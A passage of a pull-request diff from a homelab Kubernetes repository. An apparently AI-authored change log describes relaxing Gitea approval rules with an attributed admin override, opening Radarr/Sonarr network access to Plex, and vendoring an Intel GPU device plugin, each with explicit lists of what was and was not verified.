+|---|---|
+| PR #35 (`bugfix/arr-to-plex`, author `jakman85`) | `gate / gate (pull_request)` = **success, 1m41s** |
+| its reviews | `[]` |
+| live `required_approvals` | `1` |
+| live `block_admin_merge_override` | `true` |
+
+Green gate, zero reviews, no path to a merge — and the same was true of any PR that would have
+fixed it.
+
+It was also never the design this repo wrote down. `ci/approval-policy.sh`'s own header and
+`ci/gate.sh:194` both already described the model as *"`required_approvals` drops to 0 and the
+GATE decides"*, and `infra/gitea/require-gate.sh`'s closing note named this exact failure and
+prescribed this exact remedy. `decisions/2026-09-30-flux-deploy-notification-inhibited.md` had
+flagged the 1-vs-0 disagreement as unresolved and not that session's to settle. This settles it
+at 0.
+
+**Two layers were blocking, and both are addressed.**
+
+*Layer 1 — Gitea branch protection.* `required_approvals: 1 → 0` in
+`infra/gitea/expected-branch-protection.json`, with the rationale in the file, plus
+`infra/gitea/allow-admin-self-merge.sh` to apply it to the live rule (it reads the target **from
+the declaration**, so the script cannot drift from what the gate checks). `require-gate.sh` was
+changed to 0 as well — left at 1 it would silently re-impose the lock-out on its next run.
+
+The narrow choice matters: the *other* way to unblock an owner is
+`block_admin_merge_override: false`, and that would have re-opened precisely what
+`infra/gitea/block-admin-override.sh` was written to close (PRs #5–#9 merged with zero approvals
+while the settings read as enforced). This change drops the approval **count** only.
+`block_admin_merge_override` and `enable_status_check` both stay `true`, and the script asserts
+both afterwards and fails loudly if the PATCH disturbed either. **A red gate remains unmergeable
+by everyone, administrators included.**
+
+*Layer 2 — `ci/approval-policy.sh`.* Sensitive paths (`ci/**`, `infra/gitea/**`, `CLAUDE.md`,
+kyverno, rbac, sops, Flux wiring) still require a non-author `APPROVED` review, which the sole
+administrator still cannot obtain. An administrator may now waive it by commenting on the PR:
+
+    /approve-override <reason>
+
+- the directive must **start a line** (a quoted or mid-sentence mention does not count, or
+  repeating someone else's override would re-arm it);
+- a **reason is mandatory** — a bare directive records that review was waived but not why;
+- the commenter's permission is **re-checked live** against
+  `/collaborators/{login}/permission` when the gate runs, so an old comment from a demoted
+  account carries nothing;
+- it is **invalidated by a new commit** (the comment must post-date the head commit), mirroring
+  Gitea's own `dismiss_stale_approvals`;
+- the overrider, timestamp and reason are printed in the gate log and the job summary, and a
+  self-waiver by the PR's own author is called out as such.
+
+Selection of the candidate comment is `ci/approval-override.py` — pure, offline, no authority of
+its own — so it could be unit-tested; authorisation stays in the fail-closed stage.
+`ci/tests/approval-override.test.sh` adds **23 assertions**, all passing, each constructing a
+case the parser must refuse. Every new failure mode blocks: unreadable head-commit timestamp,
+unreadable permission, parser error.
+
+**The cost, stated rather than buried.** For an administrator, *"a change to the gate cannot be
+gated by the gate"* is now **advisory, not structural**. That is unavoidable with one human — the
+alternative is a repository its owner cannot change — and what is bought back is an attributed,
+reasoned, commit-scoped record of each waiver instead of a silent bypass.
+
+**The uncomfortable part, accepted with eyes open (operator decision).** Authorisation is by live
+permission **alone**, with no allowlist of human accounts. The **agent account `gitea-admin` also
+reports permission `owner`** on this repo (measured), so an agent *can* clear the sensitive-path
+review on its own PR — and agents author most PRs here, so that is the common case, not an edge
+case. I raised this before implementing; the operator chose permission-only. It is documented in
+three places rather than left to be discovered: `approval-policy.json`
+(`_known_consequence_agent_accounts`), the stage's header, and `CLAUDE.md`, which now tells
+agents plainly **not** to use it on their own work. The narrowing path needs no code change —
+add an `override_admins` list to `approval-policy.json` and the stage already requires membership
+in addition to the permission check.
+
+Also updated: `CLAUDE.md` §1 and the §2 enforcement table (the "approval required" row is now
+explicitly ⬜ with the reason, rather than a stale ✅), and `infra/gitea/README.md` gains §6 and
+marks its historical step 4 as reversed — do not re-apply.
+
+**Second pass, 2026-10-02 — the override did not work the first time, and why.** The operator ran
+the live PATCH (`required_approvals: 0` confirmed live, with `block_admin_merge_override` and
+`enable_status_check` still `true`), merged PR #35, and posted `/approve-override Need to ensure
+approval override work as expected` on PR #38. The gate re-ran (run 203) and **still blocked.**
+
+The comment was not at fault: posted by `jakman85`, directive at the start of the line, reason
+present, and 29 minutes **newer** than head commit `616a497`, so it cleared the staleness rule.
+What failed was that **CI could not read it.** Run 203's log:
+
+    approval-override: COMMENTS_JSON is not a list
+
+`SETTINGS_API_TOKEN` is minted `["read:repository", "read:admin"]` by
+`infra/gitea/set-ci-token.sh`, and Gitea puts `/issues/{n}/comments` behind the **issue** scope. So
+Gitea returned an error *object*, `jq -e .` accepted it as valid JSON, and the stage fell through
+to "no approving review" — **a permission failure wearing the costume of a missing override.**
+`/pulls/{n}/files` and `/pulls/{n}/reviews` are under `read:repository`, which is exactly why every
+other part of the same stage worked and this one did not.
+
+Three fixes, and the first is the one that mattered most:
+
+1. **The diagnosis is no longer misleading.** `COMMENTS_JSON` is out of the must-parse-or-block
+   loop and is explicitly checked for being an *array*; when it is not, the stage prints Gitea's
+   own `.message`, names the missing scope, and says where to post the override instead. An
+   unreadable source can only cause a false BLOCK, never a false pass, so degrading it to a loud
+   warning is safe — and blocking on it was never the honest behaviour.
+2. **The override is accepted from a PR REVIEW body as well as a comment**, so the hatch is not
+   hostage to one API scope. A review of type "Comment" works on the token CI has *today*. The
+   gate names which source it used. `PENDING` (unsubmitted, author-only draft) reviews are dropped.
+3. **`set-ci-token.sh` now requests `read:issue`**, which makes the ordinary comment box work —
+   the thing anybody reaches for first. It takes effect only on a **re-run**: an existing token's
+   scopes cannot be widened in place.
+
+`ci/tests/approval-override.test.sh` grows from 23 to **38 assertions**, covering the reviews
+source, `PENDING` reviews, an error *object* from the comments API, "an unreadable comments source
+must not suppress a valid review override", latest-wins across both sources, and that the
+diagnostic actually quotes Gitea's message.
+
+**One adjacent fix, deliberately in scope: `ci/tests/gate-decision.test.sh` was already broken.**
+It hand-maintains a list of stub stage scripts that "must name EVERY stage `gate.sh` runs", and it
+did not name `approval-policy` — added to `gate.sh` by PR #17 and never added here. `run_stage`
+therefore got exit 127 from a missing file and recorded a FAILED stage in every case, so **15 of
+50 assertions failed**, including every one expecting a PASS/UNDETERMINED headline. Measured on
+pristine `origin/main` (`0c7e8dd`) before touching it, so the attribution is not a guess.
+
+I fixed it because `make -C ci test` is the *only* runner for the suite this change adds — leaving
+it red would have made the new tests unverifiable in practice. The file's own comment already
+narrated this exact failure for `gitea-settings` and did not prevent the repeat, which says the
+comment was not the fix. So the stub list is now **derived from `gate.sh`'s own `run_stage` lines**
+and asserts it parsed at least 8 of them: a stage added to the gate can no longer be silently
+missing from its test. `make -C ci test` goes from **FAILED to all suites passed**.
+
+## What I verified
+
+- **The lock-out is real, and PR #35 is the proof.** Queried live: head sha
+  `8a094c46`, statuses `gate / gate (pull_request) = success :: Successful in 1m41s`,
+  `/pulls/35/reviews` → `[]`, `/branch_protections/main` → `required_approvals: 1`. I read the
+  **rule object**, not `/branches/main`, per §2b.
+- **`jakman85` is the only collaborator**: `/collaborators` → one entry. Permission `owner`.
+- **`gitea-admin` also reports `owner`** — this is why the agent-account consequence above is a
+  statement of fact and not a hypothetical.
+- **PR #35 touches no sensitive paths** (`apps/wave-0/plex.yaml`, `apps/wave-1/{radarr,sonarr}.yaml`,
+  `catalog/{radarr,sonarr}.yaml`, its decisions entry) — so `ci/approval-policy.sh` was never its
+  blocker. Layer 1 alone unblocks it.
+- **API shapes verified before depending on them**, rather than assumed: `/git/commits/{sha}`
+  returns `.commit.committer.date` as RFC3339 **with an offset** (`2026-10-01T23:09:08-05:00`),
+  not a trailing `Z` — a parser handling only `Z` would have silently dropped every real
+  override, so there is a test for the offset form. PR conversation comments are under
+  `/issues/{n}/comments`; `/pulls/{n}/comments` returns diff comments only and would never have
+  seen an override.
+- **`ci/tests/approval-override.test.sh`: 23 passed, 0 failed.** Covers the happy path, bare
+  directive, mid-sentence and `>`-quoted directives, stale and equal-timestamp overrides,
+  unparseable timestamps, missing login, invalid JSON, non-list JSON, latest-wins, offset
+  timestamps, and a configurable directive.
+- `bash -n` clean on `ci/approval-policy.sh`, `infra/gitea/allow-admin-self-merge.sh`,
+  `infra/gitea/require-gate.sh`; `jq -e .` clean on both JSON declarations.
+- **`gate-decision.test.sh`'s 15 failures are pre-existing, measured not assumed.** Extracted
+  `origin/main`'s `ci/` at `0c7e8dd` into a throwaway directory and ran the suite from there:
+  **FAIL, 15 failed / 35 passed**. After deriving the stub list from `gate.sh`: **PASS, 50
+  assertions**.
+- **`make -C ci test` in the pinned toolbox: `ci/tests: all suites passed`, rc 0** — approval-override
+  **38**, gate-decision 50, touched-requirements-base 31, test-attribution 15, touched-requirements 26,
+  decisions-log pass. It was rc 2 (`ci/tests: FAILED`) before the stub-list fix.
+- **The live flip worked, and the drift detector proved it.** Run 202 (before): `gitea-settings:
+  FAIL`, `required_approvals: DECLARED 0 but LIVE is 1`. Run 203 (after the operator ran the
+  PATCH): `gitea-settings: pass`, with `block_admin_merge_override = true` among the keys it
+  checked. So the narrow change held — the approval count moved and the gate's teeth did not.
+- **The first override attempt failed for a measured reason, not a guessed one.** Run 203 log:
+  `approval-override: COMMENTS_JSON is not a list`. Token scopes read from `set-ci-token.sh`:
+  `[read:repository, read:admin]`. The same run successfully read `/pulls/38` and
+  `/pulls/38/files` (author and sensitive paths both resolved) and got past the reviews
+  validation, which is how I know `/pulls/{n}/reviews` IS readable with that token — from
+  behaviour, not from documentation.
+- **The comment itself was valid.** `created_at` 2026-10-02T05:31:24Z vs head commit `616a497`
+  committer date 2026-10-02T00:02:20-05:00 → the comment is 29m04s newer, so it passed the
+  staleness rule. Ruling the comment out is what left the token scope as the only candidate.
+- **`?limit=1000` is not the culprit.** Queried `/issues/38/comments` with `limit=1000`, `limit=50`
+  and no limit using my own credentials: `type=array` in all three. So the difference is the
+  credential, not the query.
+- **The root cause is confirmed by Gitea, in its own words.** Run 206 (the fix in place):
+  `[warn] cannot read PR COMMENTS from Gitea — token does not have at least one of required
+  scope(s), required=[read:issue], token scope=read:admin,read:repository.` followed by the
+  instruction to post the override as a review. That is the diagnosis the first attempt should
+  have produced, and `gitea-settings: pass` in the same run. The stage still ends `FAIL`, correctly
+  — there is no valid override on the PR yet.
+- **Toolbox merge gate** (`./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'`), run on the
+  rebased branch: **rc 3, `MERGE GATE: UNDETERMINED`**. Green stages: spec-immutability,
+  decisions-log, lint, l0 (23 offline cases, 0 failures), render-golden including the new
+  `catalog/render.py --selftest`, l1 (3 cases), approval-policy (N/A offline). Skipped:
+  `gitea-settings` (no `SETTINGS_API_TOKEN` on this host) and `conformance` (no cluster).
+  **This is NOT a green run and I am not reporting it as one** — rc 3 is UNDETERMINED per the
+  CLAUDE.md §3 contract.
+
+## What I did NOT verify
+
+- **The override has still never been ACCEPTED by a real run.** This is the second attempt at
+  this bullet, which is itself the point: the first pass called the hatch unverified, and the
+  first real test found a defect that no amount of local testing would have (an API scope CI has
+  and I did not). What is now measured is that the parse → *reject* path works end to end and
+  diagnoses itself. The **accepting** branch — directive found → live permission lookup → exit 0 —
+  has never executed. Posting the override as a **review** on PR #38 is its first real test, and
+  I would not be surprised by a third round.
+- **`read:issue` is the right scope name — Gitea said so itself, so this is no longer a guess.**
+  Run 206 printed Gitea's own message: `token does not have at least one of required scope(s),
+  required=[read:issue], token scope=read:admin,read:repository`. That both confirms the root
+  cause and names the string, which matters because this repo has been burned by a token *name*
+  that could not exist (`GITEA_SETTINGS_TOKEN`). What is **still** unverified is that the token
+  *mint* accepts it — `POST /users/{u}/tokens` with that scope has not been run. The review route
+  does not depend on it.
+- **I did not verify that Gitea lets a PR's own author submit a `COMMENT`-type review.** Gitea
+  blocks author self-*approval*; "Comment" is expected to be allowed, and that expectation is now
+  load-bearing for the recommended route. It is one click to find out, and I deliberately did not
+  test it by posting an override myself: doing so as `gitea-admin` is precisely the agent
+  self-override that `CLAUDE.md` now forbids.
+- **The whole re-run mechanism is manual.** `gate.yml` triggers on `pull_request` and `push: main`
+  only — there is no `issue_comment` trigger, so posting an override does **not** re-run the gate.
+  Re-run the job from the Actions UI, or close and reopen the PR (which fires `pull_request` and
+  leaves the head SHA alone). **Do not push an empty commit to re-trigger it:** that moves the head
+  commit and makes the override stale by the rule above, so it would have to be posted again. A
+  comment trigger was considered and not built — it would need to check out PR head code while the
+  job holds `SETTINGS_API_TOKEN`, which is the classic pwn-request shape and not worth it here.
+- **I have not seen the gate still REFUSE a merge** now that approvals are 0. The claim that
+  `block_admin_merge_override: true` keeps a red gate unmergeable rests on Gitea's documented
+  behaviour and on the 2026-09-29 session, **not** on a provoked refusal in this one. That probe
+  is written out at the foot of `allow-admin-self-merge.sh` and should be done, exactly as the
+  push rejection was provoked rather than assumed.
+- **Clock skew in the staleness check is unhandled.** Staleness compares the comment's
+  server-side `created_at` against the head commit's *committer* date, which comes from the
+  committer's machine. A commit dated in the future would reject legitimate overrides until real
+  time catches up (fail-closed, so loud, but annoying). Gitea's own `dismiss_stale_approvals`
+  compares SHAs instead; a comment cannot. Not hit here — PR #35's commit date is ~21 min behind
+  server time — and not fixed.
+- **`ci/tests/approval-override.test.sh` does not run in the merge gate.** `ci/gate.sh` runs no
+  `ci/tests/*`; they run only via `make -C ci test`. So a regression in the parser would not be
+  caught by CI. PR #33 (merged while this branch was being written, and rebased onto here) fixed
+  the *same class* of gap for `catalog/render.py --selftest` by invoking it from
+  `ci/render-golden.sh` — it did **not** wire `ci/tests/*` in, which I confirmed after rebasing
+  rather than assuming. Wiring them is a one-line stage and I did not widen scope to it.
+- **Authorisation itself is untested code.** `ci/approval-override.py` is unit-tested; the live
+  permission lookup, the `override_admins` allowlist branch, and every new BLOCK path in
+  `ci/approval-policy.sh` need Gitea and have never been exercised. The allowlist branch in
+  particular is implemented but **unused** — `override_admins` is absent by design.
+- **The other open PRs will go red** once the live value changes, until they are rebased onto the
+  merged declaration: as of writing those are **#29** and **#37** (both `gitea-admin`), plus
+  **#35**. I did not rebase them. Merging them first avoids it entirely; the script's header gives
+  the order. PRs #33, #34 and #36 merged while this branch was being written — this branch is
+  rebased onto `0c7e8dd`, so the list was re-measured rather than carried forward.
+- No cluster state was read or changed; nothing here touches Flux, Kyverno or any workload.

decisions/2026-10-01-arr-to-plex.md

@@ -0,0 +1,120 @@
+---
+date: 2026-10-01
+branch: bugfix/arr-to-plex
+title: Radarr and Sonarr may now reach Plex on 32400 — the network path only, not the Plex connection itself
+---
+
+## What changed
+
+Radarr and Sonarr had no route to Plex. The media library lives on NFS
+(`/mnt/Storage/plex`, the ZFS dataset `Storage/plex` on `${BULK_NFS_SERVER}`), and NFS
+does not deliver filesystem CRUD notifications, so Plex never learns that an arr has
+written a new file. Without a push from the arrs, the library only reflects new media
+when somebody scans it by hand. That is the bug this branch addresses.
+
+The fix is one `dependencies:` entry per app, added to the catalog — the source of truth:
+
+    - to: plex
+      port: 32400
+      protocol: tcp
+
+in both `catalog/radarr.yaml` and `catalog/sonarr.yaml` (these two *are* the arr suite
+here; `jackett`, `qbittorrent` and `seerr` are different roles and are untouched).
+
+The renderer expands each entry into a **pair** of Cilium policies, which is why a
+three-line catalog change produces 88 lines under `apps/`:
+
+| Side | Policy | File |
+|---|---|---|
+| egress | `radarr-allow-plex-32400` | `apps/wave-1/radarr.yaml` |
+| egress | `sonarr-allow-plex-32400` | `apps/wave-1/sonarr.yaml` |
+| reciprocal ingress | `plex-allow-radarr-32400` | `apps/wave-0/plex.yaml` |
+| reciprocal ingress | `plex-allow-sonarr-32400` | `apps/wave-0/plex.yaml` |
+
+Three commits, and the middle two are worth recording because both were self-inflicted
+gate failures rather than design changes:
+
+- `753c48b` — the catalog edit alone, with `apps/` left unrendered.
+- `9048c2f` — re-rendered `apps/` from the catalog, which `render==golden` requires.
+- `58f02fe` — removed 20 trailing spaces on `catalog/radarr.yaml:103`, left behind as
+  comment-alignment padding when the comment moved down to the `port:` line. Sonarr's
+  equivalent line kept its comment in place, which is why only radarr tripped.
+
+## What I verified
+
+**The lint failure, root-caused.** Gate run 193 on `9048c2f` failed with
+`[fail] lint: FAILED -> blocks merge`, and lint was the only failing stage. yamllint
+emitted 419 findings, but **418 were `line-length`**, which `ci/yamllint.yaml` pins at
+`level: warning` and which therefore cannot change the exit code. The single error-level
+finding in the entire repository was:
+
+    catalog/radarr.yaml
+      103:13    error    trailing spaces  (trailing-spaces)
+
+`trailing-spaces` inherits the default severity (error), so that one line returned rc 1.
+After the fix, `git grep -nIE ' +$' -- '*.yaml' '*.yml'` matches nothing repo-wide.
+
+**Gate run 195 on `58f02fe`** (read from the job log, not from the status tick):
+
+    [ ok ] approval-policy: green     [ ok ] l0: green
+    [ ok ] gitea-settings: green      [ ok ] render-golden: green
+    [ ok ] decisions-log: green       [ ok ] l1: green
+    [ ok ] lint: green
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+    [fail]   Stages that did not run: spec-immutability
+
+The Gitea check reports `success` / "Successful in 1m41s", but the gate's own verdict is
+**UNDETERMINED (rc 3)**, not PASS. That tick is `gate.yml` tolerating exit 3 for the one
+stage it documents as unverifiable on this runner (the spec repo is not checked out
+there). Nothing else produced a 3.
+
+**`render==golden` green** on `58f02fe`, so `apps/` is a faithful canonical render of
+`catalog/` — the four generated policies are not hand-written drift.
+
+**DNS egress was already open** and is not a new gap: `apps/wave-1/radarr.yaml` carries
+an existing allow for port 53 UDP+TCP, so resolving the Plex service name does not need
+anything added here.
+
+**Live branch protection on `main`**, measured against
+`/api/v1/repos/Home-Network/home-network-k3s-impl/branches/main` rather than assumed:
+`protected: true`, `user_can_push: false`, `enable_status_check: true`,
+`status_check_contexts: ['gate / gate (pull_request)']`, `required_approvals: 1`.
+
+## What I did NOT verify
+
+**This change does not accomplish what the PR set out to do.** It opens the network path
+and nothing else. Triggering a library update also requires each arr's
+*Settings → Connect → Plex Media Server* entry plus a Plex token, and **none of that
+exists anywhere in `catalog/` or `apps/`** — I grepped both for `plex`, `token` and
+`connect` and found only NFS paths, a uid and a timezone. Radarr's and Sonarr's config
+lives on a 5Gi Longhorn PVC mounted at `/config`, so that connection is UI-only state
+that exists solely on the PVC and never in git, in the same way Crafty's local login
+does. **Until somebody adds it in each app's UI, Plex still will not see library
+updates, and this branch will look like it did nothing.** That follow-up is not tracked
+by any file in this PR.
+
+**L2/L3 conformance never ran.** `CLUSTER_AVAILABLE` is unset on the runner, so the
+eight requirements this diff touches — `R-NET-01`, `R-NET-05`, `R-NET-06`, `R-NET-07`,
+`R-IDP-02`, `R-IDP-06`, `R-GITOPS-02`, `R-PLAT-02` — are **UNVERIFIED**. That gap is
+unusually load-bearing here: the entire substance of this change is four
+CiliumNetworkPolicies, and no test has confirmed that traffic from the `radarr` or
+`sonarr` namespaces actually reaches `plex:32400`. The green gate proves the offline
+render subset only.
+
+**`spec-immutability` did not run** (`R-TEST-06` not verified), for the documented
+reason — the sibling spec repo is absent from the runner.
+
+**Nothing was checked on the cluster.** I ran no `kubectl`, so I did not confirm that
+the `plex` Service exposes 32400 as the arrs would address it, that the pod labels the
+policies select (`app.kubernetes.io/name`, `k8s:io.kubernetes.pod.namespace`) match the
+running pods, or that Cilium accepted the four new objects. Flux has not applied any of
+this: the branch is unmerged, so `.status.lastAppliedRevision` does not contain it.
+
+**I did not verify Plex's own side** — whether its library-update endpoint on 32400 is
+the right target for the arrs' notification, or whether Plex requires
+"Update my library automatically" enabled to act on one.
+
+**I am not the approver and did not approve this PR.** `required_approvals: 1` is live,
+and the only credential on the authoring workstation belongs to the PR's author
+(`jakman85`), whose own review Gitea does not count. Per CLAUDE.md §1 the merge is a
+human action regardless.

decisions/2026-10-01-intel-gpu-device-plugin.md

@@ -0,0 +1,198 @@
+---
+date: 2026-10-01
+branch: feat/intel-gpu-device-plugin
+title: Intel GPU device plugin, in its own Kustomization — the resource exists; nothing has run yet
+---
+
+## What changed
+
+Deployed the **Intel Device Plugin for Kubernetes (GPU)**, standalone DaemonSet, pinned at
+**v0.37.0**, so the prod nodes advertise `gpu.intel.com/i915`. This is the measured fix for the
+Plex hardware-transcoding blocker: the `/dev/dri` hostPath merged on `main` @ `cdf3e14` makes the
+device node *visible* and not *openable* (`EPERM` from the device cgroup at both uid 0 and uid
+1000; the container's runc `config.json` carries one deny-all rule and `linux.devices: None`). A
+hostPath is a filesystem operation and adds no cgroup allow rule. A device plugin's `Allocate`
+response is what makes kubelet populate `linux.devices` *and* the matching cgroup allow rule, and
+it is the only non-privileged way to get there — `privileged: true` is blocked by Kyverno
+`restrict-host-namespaces` under Enforce in app namespaces, and `plex` is labelled
+`app-namespace=true`.
+
+New files:
+
+- `platform/intel-gpu-plugin/intel-gpu-plugin.yaml` — the DaemonSet, **vendored** as
+  `kubectl kustomize` output of upstream `deployments/gpu_plugin/base` at `v0.37.0`, under a
+  provenance header carrying the exact re-vendor command and both sha256s (generated body
+  `80ebd070…`, raw upstream source `c8773918…`). Generated rather than byte-copied because
+  upstream mixes YAML sequence-indentation styles within the one document and `ci/yamllint.yaml`
+  sets `indent-sequences: consistent` — a verbatim copy is a hard lint error that blocks the gate.
+  That is not a guess: the first gate run of this branch returned **rc 1 BLOCKED** on exactly that
+  error, and regenerating through kustomize is the fix (and is also the re-vendor idiom
+  `platform/external-snapshotter` documents). Vendored at all, rather than referenced as a remote
+  kustomize base, for the other reason `external-snapshotter` records: a remote base is
+  `git fetch`ed on every reconcile and those fetches have flaked a whole tier.
+- `platform/intel-gpu-plugin/namespace.yaml` — a PLATFORM namespace, explicitly
+  `homelab.keithjackson.dev/app-namespace: "false"` (following `vpn-egress`/`kyverno`).
+- `platform/intel-gpu-plugin/kustomization.yaml` — namespace scoping plus the image pin.
+- `platform/intel-gpu-plugin/README.md` — the measurement, the placement argument, the
+  non-choices, and the post-merge verification sequence.
+- `clusters/base/intel-gpu-plugin.yaml` — **its own Flux Kustomization**: `dependsOn: [cilium]`,
+  `wait: true`, `interval: 10m`, `timeout: 10m`, `prune: true`.
+- One wired line (plus its rationale comment) in `clusters/base/kustomization.yaml`.
+
+**Placement: its own Kustomization, not a line in the shared `platform` tier.** The shared tier was
+cheaper and needed no human reviewer on `approval-policy.json`'s terms, but `platform` is
+`wait: true` over eleven-plus components and the repo already argued this case when Cilium was
+split out: its Ready condition cannot distinguish "the plugin is wedged" from "longhorn is slow",
+the only emergency valve is freezing the entire tier, and the tier's 10m/5m interval/timeout are
+called out there as *wrong for a 3-node DaemonSet rollout* — which is exactly what this is. The
+consequence is worse than average here, because `platform` gates `platform-config` gates
+`apps-wave-0` (`wait: true`) gates `apps-wave-1`: a plugin that never went healthy inside that tier
+would stall every app, so a component added to fix a **silent no-op** would have gained the ability
+to cause a **real outage**. The approval cost of touching `clusters/**` is nil, because
+`required_approvals: 1` with `block_admin_merge_override: true` applies to every PR here regardless
+of path and authors cannot self-approve.
+
+`dependsOn: [cilium]` is the minimum *and* the earliest: the plugin never uses the network and
+never talks to the API server (it talks to the local kubelet over a unix socket), so a working CNI
+is its only real prerequisite, and `cilium` already depends on `flux-system`, which applies the
+`cluster-vars` ConfigMap this Kustomization substitutes from. Depending on `cilium` rather than
+`platform` also means it reconciles *in parallel with* the platform tier rather than behind all
+eleven of its components, which shrinks the cold-start window in which a node has not yet
+advertised the resource.
+
+`wait: true` is a deliberate departure from the `headlamp`/`crafty` leaf template. Those use
+`wait: false` because a leaf UI can be legitimately not-Ready for a long time during a cold start,
+making its health a useless signal. This DaemonSet reads sysfs and opens a socket, so not-Ready
+genuinely means broken — and since **nothing in the graph `dependsOn` it** (verified against the
+rendered graph), `wait: true` gates nothing while turning
+`flux get kustomization intel-gpu-plugin` into a one-line answer to the question that must be
+answered before the consumer PR may merge.
+
+Deliberate non-choices, each argued in the README: standalone DaemonSet rather than the operator
+(no CRD, no controller-manager, no cert-manager webhook, no second namespace to keep healthy);
+`--shared-dev-num` left at the upstream default of 1 (a higher count is a lie the scheduler
+believes — there is no GPU-side partitioning behind it, so it converts a loud "Unschedulable" into
+a quiet "transcodes are slow"); `--health-management` left OFF, because it is the one flag that
+*would* open a device and would reintroduce the exact `EPERM` this fixes; no NFD overlay (all three
+nodes are identical); no `supplementalGroups` anywhere, because the `pms-docker` cont-init hook
+already adds the `plex` user to each device's group and that works identically on a
+plugin-injected device.
+
+**Scope held deliberately:** `catalog/render.py`, `catalog/plex.yaml` and `apps/wave-0/plex.yaml`
+are untouched. Switching Plex from the hostPath to a `gpu.intel.com/i915: 1` request is a strictly
+later PR, and **it must not land until this plugin is merged AND confirmed advertising the resource
+on all three nodes** — a request for a resource no node advertises makes the Plex pod
+Unschedulable, and `apps-wave-0` is `wait: true` with `apps-wave-1` depending on it, so that would
+stall the whole app tier and turn today's silent no-op into a real outage.
+
+## What I verified
+
+Mechanism, read from the v0.37.0 source rather than assumed:
+
+- **The plugin only lists devices; it never opens one.** The scan path uses `os.ReadDir`,
+  `os.ReadFile`, `os.Stat` and `os.Readlink` over `/sys/class/drm` and `/dev/dri`. `grep` for
+  `os.Open|OpenFile|ioctl|syscall|unix\.` across `cmd/gpu_plugin/gpu_plugin.go` (908 lines) returns
+  **nothing**. Listing and `stat()` are what demonstrably work today, so the plugin needs no cgroup
+  grant and no extra privilege — it does not need more than the upstream manifest gives it.
+- **The fix mechanism is real:** `createDeviceSpecsFromDrmFiles` emits
+  `pluginapi.DeviceSpec{HostPath, ContainerPath, Permissions: "rw"}` per DRM node, which is the
+  thing kubelet turns into `linux.devices` plus a cgroup allow rule.
+- **The resource name is `gpu.intel.com/i915` by derivation, not by hope:** `scan()` calls
+  `devTree.AddDevice(devProps.driver(), ...)`, so the suffix is the kernel driver name, and these
+  nodes have `i915` bound.
+- `--shared-dev-num` default is `1` (`flag.IntVar(..., 1, ...)`); `--health-management` default is
+  `false` and `setupLevelZeroService` returns early unless it is set.
+- Missing `/dev/dri/by-path` is non-fatal (`newDevicePlugin` warns, sets `bypathFound = false`).
+
+Image pin, verified against the registry:
+
+- `docker.io/intel/intel-gpu-plugin:0.37.0` exists; manifest digest
+  `sha256:7001200071db10587fc31184eedda4f5cf291efba737adf85a8c80539f7fa5e1` (single amd64
+  manifest, not an index), fetched from `registry-1.docker.io` on 2026-10-01. `v0.37.0` is the
+  latest upstream release (2026-09-16) and is not a prerelease.
+- The Docker Hub tag list carries `0.35.0 / 0.36.0 / 0.37.0` — **image tags have no `v` prefix**
+  while GitHub release tags do.
+
+Policy scope, read from the policies rather than assumed:
+
+- All four app-scoped Kyverno policies (`restrict-host-namespaces`, `require-egress-class-label`,
+  `require-auth-mode-label`, `require-default-deny-baseline`) are gated on
+  `namespaceSelector`/`selector` `matchLabels: homelab.keithjackson.dev/app-namespace: "true"`.
+  The new namespace is labelled `"false"`, so none of them match it.
+- Measured on prod: `plex` **is** `app-namespace=true`, confirming `privileged: true` is genuinely
+  unavailable there; `kyverno` and `vpn-egress` are the two namespaces carrying the label as
+  `"false"`; the other platform namespaces leave it unset. No `intel*` namespace exists, so no
+  collision.
+
+Cluster before-state (read-only, `kubectl` in the pinned toolbox with the prod kubeconfig
+bind-mounted read-only — never copied into the worktree):
+
+- Three nodes `k3s-prod-{1,2,3}`, each `v1.36.4+k3s1`, Debian 13 trixie, `containerd://2.3.4-k3s1.36`.
+- Every extended resource currently advertised is `devices.kubevirt.io/{kvm,sev,tun,vhost-net}` on
+  all three nodes. **No node advertises `gpu.intel.com/*`** — queried explicitly, returned
+  "NONE". That is the before-state this change is meant to move.
+- Those `devices.kubevirt.io/*` resources are themselves advertised by a device plugin, which is
+  measured evidence that the device-plugin API and the default kubelet socket path
+  (`/var/lib/kubelet/device-plugins`) work on these nodes.
+
+Offline rendering (the main proof available to a PR):
+
+- `kubectl kustomize platform/intel-gpu-plugin` renders two objects: `Namespace/intel-gpu-plugin`
+  carrying `app-namespace=false`, and `DaemonSet/intel-gpu-plugin` in namespace
+  `intel-gpu-plugin`, with the image resolved to `docker.io/intel/intel-gpu-plugin:0.37.0`.
+- `kubectl kustomize clusters/base` renders, and the new Flux Kustomization appears as
+  `intel-gpu-plugin  ./platform/intel-gpu-plugin  wait=true  dependsOn=cilium`. Both overlays
+  (`clusters/prod`, `clusters/dev`) also render and carry it.
+- Across the whole rendered graph, **no Kustomization lists `intel-gpu-plugin` in `dependsOn`** —
+  so `wait: true` gates nothing.
+- The vendored DaemonSet is a **formatting-only** transform of upstream, proven rather than
+  asserted: `yq -P 'sort_keys(..)'` of the generated file and of the raw upstream file `diff`
+  clean, so passing it through kustomize changed no content. The committed body's sha256 matches
+  the one recorded in its own provenance header (`80ebd070…`), so the file has not drifted from
+  what was generated.
+
+Gate (pinned toolbox, from this worktree, with the `ENGINE` shim bind-mounting the main checkout's
+gitdir and `DEV_KUBECONFIG=/dev/null`): see the PR description for the per-stage table. **`rc 3`
+(UNDETERMINED), with exactly the three expected skips** — `spec-immutability` (sibling spec repo is
+not beside a worktree), `gitea-settings` (no CI token), `conformance` (no cluster in CI). Every
+other stage passed. **rc 3 is not green** and is not reported as such.
+
+## What I did NOT verify
+
+**Nothing about this component's runtime behaviour. It has never run.**
+
+- **The plugin has never executed.** No pod has been scheduled, no image has been pulled, no scan
+  has happened. It cannot run until the operator merges this and Flux reconciles — `kubectl apply`
+  and `flux reconcile` are operator actions (CLAUDE.md §5), so this is expected, not an oversight.
+- **The resource has never been advertised.** `gpu.intel.com/i915` does not exist on any node and
+  I have not seen it exist. The claim that it *will* be `i915` rather than `xe` is derived from
+  source plus the established fact that `i915` is bound — it is a derivation, not an observation.
+- **The DaemonSet has never been admitted.** That the Kyverno policies do not match this namespace
+  is read off the policy manifests; no admission request has actually been evaluated. Nor has the
+  `kubectl kustomize` output ever been server-side dry-run against the API — rendering is not
+  admission.
+- **The `open()` test has NOT been re-run.** The `EPERM` is exactly as it was. Nothing in this PR
